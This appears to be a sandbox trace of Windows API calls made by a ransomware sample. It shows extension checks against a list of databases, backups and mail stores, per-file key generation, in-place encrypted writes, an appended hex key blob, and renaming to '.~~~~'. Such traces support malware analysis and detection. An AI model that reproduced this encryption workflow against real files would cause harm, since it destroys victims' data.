	[0083.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0083.828] lstrlenW (lpString=".cpl") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0083.829] lstrlenW (lpString=".sys") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0083.829] lstrlenW (lpString=".msc") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0083.829] lstrlenW (lpString=".com") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0083.829] lstrlenW (lpString=".lnk") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0083.829] lstrlenW (lpString=".msp") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0083.829] lstrlenW (lpString=".pif") returned 4
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0083.829] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.008] lstrlenW (lpString=".sqb") returned 4
	[0084.008] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.008] lstrlenW (lpString=".ost") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.009] lstrlenW (lpString=".txt") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.009] lstrlenW (lpString=".mdt") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.009] lstrlenW (lpString=".BDB") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.009] lstrlenW (lpString=".eql") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.009] lstrlenW (lpString=".DBF") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.009] lstrlenW (lpString=".EQL") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.009] lstrlenW (lpString=".FDB") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.009] lstrlenW (lpString=".EDB") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.009] lstrlenW (lpString=".DACPAC") returned 7
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.009] lstrlenW (lpString=".VHD") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.009] lstrlenW (lpString=".DBV") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.009] lstrlenW (lpString=".dacpac") returned 7
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.009] lstrlenW (lpString=".sdf") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.009] lstrlenW (lpString=".accdb") returned 6
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.009] lstrlenW (lpString=".DBX") returned 4
	[0084.009] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.010] lstrlenW (lpString=".MDT") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.010] lstrlenW (lpString=".SQB") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.010] lstrlenW (lpString=".vhd") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.010] lstrlenW (lpString=".bac") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.010] lstrlenW (lpString=".mdf") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.010] lstrlenW (lpString=".BAK") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.010] lstrlenW (lpString=".BAC") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.010] lstrlenW (lpString=".dbs") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.010] lstrlenW (lpString=".vhdx") returned 5
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.010] lstrlenW (lpString=".NDF") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.010] lstrlenW (lpString=".dat") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.010] lstrlenW (lpString=".DBS") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.010] lstrlenW (lpString=".CKP") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.010] lstrlenW (lpString=".edb") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.010] lstrlenW (lpString=".PST") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.010] lstrlenW (lpString=".dbf") returned 4
	[0084.010] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.011] lstrlenW (lpString=".SQL") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.011] lstrlenW (lpString=".pst") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.011] lstrlenW (lpString=".dbv") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.011] lstrlenW (lpString=".SDF") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.011] lstrlenW (lpString=".dtxs") returned 5
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.011] lstrlenW (lpString=".db3") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.011] lstrlenW (lpString=".OST") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.011] lstrlenW (lpString=".dbx") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.011] lstrlenW (lpString=".DB3") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.011] lstrlenW (lpString=".DAT") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.011] lstrlenW (lpString=".VHDX") returned 5
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.011] lstrlenW (lpString=".ndf") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.011] lstrlenW (lpString=".DB") returned 3
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.011] lstrlenW (lpString=".sql") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.011] lstrlenW (lpString=".MYD") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.011] lstrlenW (lpString=".DBT") returned 4
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.011] lstrlenW (lpString=".ACCDB") returned 6
	[0084.011] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.012] lstrlenW (lpString=".fdb") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.012] lstrlenW (lpString=".bak") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.012] lstrlenW (lpString=".myd") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.012] lstrlenW (lpString=".DTXS") returned 5
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.012] lstrlenW (lpString=".ckp") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.012] lstrlenW (lpString=".dbt") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.012] lstrlenW (lpString=".db") returned 3
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.012] lstrlenW (lpString=".TXT") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.012] lstrlenW (lpString=".MDF") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.012] lstrlenW (lpString=".bdb") returned 4
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.012] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.012] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.012] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.013] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.013] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20400343963) returned 1
	[0084.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9be7a690, dwHighDateTime=0x1d60e1e)) 
	[0084.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388250
	[0084.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388250 | out: hHeap=0x300000) returned 1
	[0084.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab768
	[0084.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0084.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetLastError () returned 0x0
	[0084.014] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.014] GetLastError () returned 0x0
	[0084.014] GetLastError () returned 0x0
	[0084.017] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff804, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.018] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x24dfec0*=0x7fc, lpOverlapped=0x0) returned 1
	[0084.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0084.018] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.018] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.018] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.018] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.018] CloseHandle (hObject=0x120) returned 1
	[0084.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5520
	[0084.018] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.~~~~")) returned 1
	[0084.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5520 | out: hHeap=0x300000) returned 1
	[0084.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.019] GetLastError () returned 0x0
	[0084.019] RtlWakeConditionVariable () returned 0x365f70
	[0084.019] GetCurrentThreadId () returned 0x3a4
	[0084.019] GetCurrentThreadId () returned 0x3a4
	[0084.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0084.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ba0 | out: hHeap=0x300000) returned 1
	[0084.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2480 | out: hHeap=0x300000) returned 1
	[0084.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ba0
	[0084.020] lstrlenW (lpString=".scr") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".scr") returned 0x0
	[0084.020] lstrlenW (lpString=".cmd") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".cmd") returned 0x0
	[0084.020] lstrlenW (lpString=".dll") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".dll") returned 0x0
	[0084.020] lstrlenW (lpString=".bat") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".bat") returned 0x0
	[0084.020] lstrlenW (lpString=".cpl") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".cpl") returned 0x0
	[0084.020] lstrlenW (lpString=".sys") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".sys") returned 0x0
	[0084.020] lstrlenW (lpString=".msc") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".msc") returned 0x0
	[0084.020] lstrlenW (lpString=".com") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".com") returned 0x0
	[0084.020] lstrlenW (lpString=".lnk") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".lnk") returned 0x0
	[0084.020] lstrlenW (lpString=".msp") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".msp") returned 0x0
	[0084.020] lstrlenW (lpString=".pif") returned 4
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".pif") returned 0x0
	[0084.020] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.021] lstrlenW (lpString=".sqb") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".sqb") returned 0x0
	[0084.021] lstrlenW (lpString=".ost") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".ost") returned 0x0
	[0084.021] lstrlenW (lpString=".txt") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".txt") returned 0x0
	[0084.021] lstrlenW (lpString=".mdt") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".mdt") returned 0x0
	[0084.021] lstrlenW (lpString=".BDB") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".BDB") returned 0x0
	[0084.021] lstrlenW (lpString=".eql") returned 4
	[0084.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", lpSrch=".eql") returned 0x0
	[0084.021] lstrlenW (lpString=".DBF") returned 4
